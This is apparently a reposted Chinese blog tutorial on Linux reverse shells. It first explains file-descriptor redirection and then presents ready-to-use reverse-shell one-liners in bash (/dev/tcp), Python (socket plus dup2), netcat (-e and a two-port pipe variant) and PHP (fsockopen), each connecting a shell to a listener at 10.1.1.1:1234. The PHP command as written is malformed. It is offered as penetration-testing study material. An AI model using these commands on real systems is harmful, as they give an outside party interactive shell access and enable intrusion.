Linux反弹shell学习

原文请点击

0x00 linux下几种标准的文件描述符:
1、	0 – stdin  代表标准输入,使用<或<<
2、	1- stdout 代表标准输出,使用>或>>
3、	2- stderr  代表标准错误输出, 使用2>或者2>>
4、	>& 符号: 
	a)	当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件
	b)	当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符
	c)	举个栗子:

Linux反弹shell学习_第1张图片

d)	可以看到当没有添加&符号时,错误输出打1这个文件了,当添加了&符,错误重定向到了标准输出。

0x01 bash反弹shell实验:
Linux:10.1.1.157
Windows:10.1.1.1
1、	首先windows使用nc监听1234端口:

在这里插入图片描述
2、 Linux使用命令:bash -i >& /dev/tcp/10.1.1.1/1234 0>&1反弹shell
Linux反弹shell学习_第2张图片

3、	接下来解释一下这条命令:bash -i >& /dev/tcp/ip/port 0>&1
	a)	bash -i表示在本地打开一个bash
	b)	/dev/tcp/ip/port:/dev/tcp/是linux中的一个特殊设备打开这个文件就相当于发出一个socket调用,建立一个socket连接,IP和port指的就是连接设备的IP地址和端口号。
	c)	>& /dev/tcp/ip/port:表示将标准输出和标准错误输出重定向到这个文件(linux一切设备都使用文件表示),也就是传递到远程上,如果远程开启了对应的端口,就会接收到这个bash的标准1输出和标准错误输出,这个时候我们在linux上输入命令,输出和错误输出的内容会被传递到远程。实验显示,此时在linux的所有输出都会出现在远程,包括输入的命令也是在远程显示的(本地是看不到输入的命令的,当然也看不到输出)。

Linux反弹shell学习_第3张图片
d) 0>&1:代表将标准输入重定向到标准输出,这里的标准输出已经重定向到远程设备了,那么标准输入也就重定向到了远程,这样的话就可以直接在远程输入:可以看到在上面的实验中在远程输入命令是不会有任何结果回显的,这是因为远程的输入没有定向到输出。
在这里插入图片描述
然后加上0>&1再次尝试,此时因为标准输入已经重定向到标准输出了,此时在linux上执行的任何命令都不会产生作用,只有在远程主机上可以正常执行命令获得回显。此时在linux上是无法使用ctrl+c强行结束反弹的shell。
Linux反弹shell学习_第4张图片e) 0>&2同理:
Linux反弹shell学习_第5张图片
4、 画图解释:
首先是本地的输入输出流向:
Linux反弹shell学习_第6张图片
执行bash -i >& /dev/tcp/ip/port后:
Linux反弹shell学习_第7张图片
执行bash -i >& /dev/tcp/ip/port 0>&1或者bash -i >& /dev/tcp/ip/port 0>&2后:
Linux反弹shell学习_第8张图片
0x02 python反弹shell
命令:

Python	-c	"import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.1.1.1',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

1、 在window监听1234端口
2、 在linux上执行python代码:
Linux反弹shell学习_第9张图片
3、 原理:
a) 首先使用socket与远程系统建立连接,接下来使用os库中dup2方法将标准输入,标准输出,标准错误输出重定向到远程,dup2方法有两个参数,分别为文件描述符fd1和fd2,当fd2参数存在时,就关闭fd2,然后将fd1代表的那个文件强行复制给fd2,在这里可以理解为指针,将fd1赋值给fd2,就相当于将fd2指向s.fileno(),fileno()返回的是一个文件描述符,在这里也就是建立socket连接返回的文件描述符,经过测试可以看到值为3:

在这里插入图片描述
这就相当于将标准输入(0),标准输出(1),标准错误输出(2)全部指向远程主机(3)。接下来使用os.process在本地开启一个子进程,传入参数“-i”使bash以交互模式启动,标准输入,标准输出,标准错误输出又重定向到了远程,这样就可以在远程执行命令了。

0x03 使用nc反弹shell
1、 windows监听1234端口
2、 linux使用nc去反向连接:nc -e /bin/bash 10.1.1.1 1234
Linux反弹shell学习_第10张图片
这里的-e后面跟的参数代表的是在创建连接后执行的程序,这里代表在连接到远程后可以在远程执行一个本地shell(/bin/bash),也就是反弹一个shell给远程,可以看到远程已经成功反弹到了shell,并且可以执行命令。
3、 注意之前使用nc监听端口反弹shell时都会有一个警告:Warning: forward host lookup failed for bogon: Unknown host,根据nc帮助文档的提示加上-n参数就可以不产生这个警告了,-n参数代表在建立连接之前不对主机进行dns解析。
Linux反弹shell学习_第11张图片
4、 当nc不支持管道符的时候,可以使用linux中管道符进行连接:nc ip port1|/bin/bash|nc ip port2
Linux反弹shell学习_第12张图片
Linux反弹shell学习_第13张图片
Linux反弹shell学习_第14张图片
这里通过在kali上监听两个端口,然后在使用CentOS进行反向连接的时候使用到了管道符,管道符的作用是把管道符前的输出作为管道符后的输入,这样的话就可以在远程的6666端口的输入设备(键盘)输入命令,将命令输出传递至本地的/bin/bash,通过本地shell解释执行命令后,将命令执行的结果以及错误输入到远程的7777端口。
Linux反弹shell学习_第15张图片
通过远程的输入全都在linux上显示出来(下面的模式下两台主机之间可以相互发送消息),然后通过管道符传给shell进行解释。
Linux反弹shell学习_第16张图片
0x03 利用php反弹shell
Linux反弹shell学习_第17张图片
2、开启一个远程socket去连接远程:

Php -r ‘$sock=fsockopen(“ip”,port);exec(/bin/bash -i <&3 >&3 2>&3);

Linux反弹shell学习_第18张图片
Linux反弹shell学习_第19张图片
Linux反弹shell学习_第20张图片
Linux反弹shell学习_第21张图片

你可能感兴趣的:(渗透测试,乱七八糟的知识)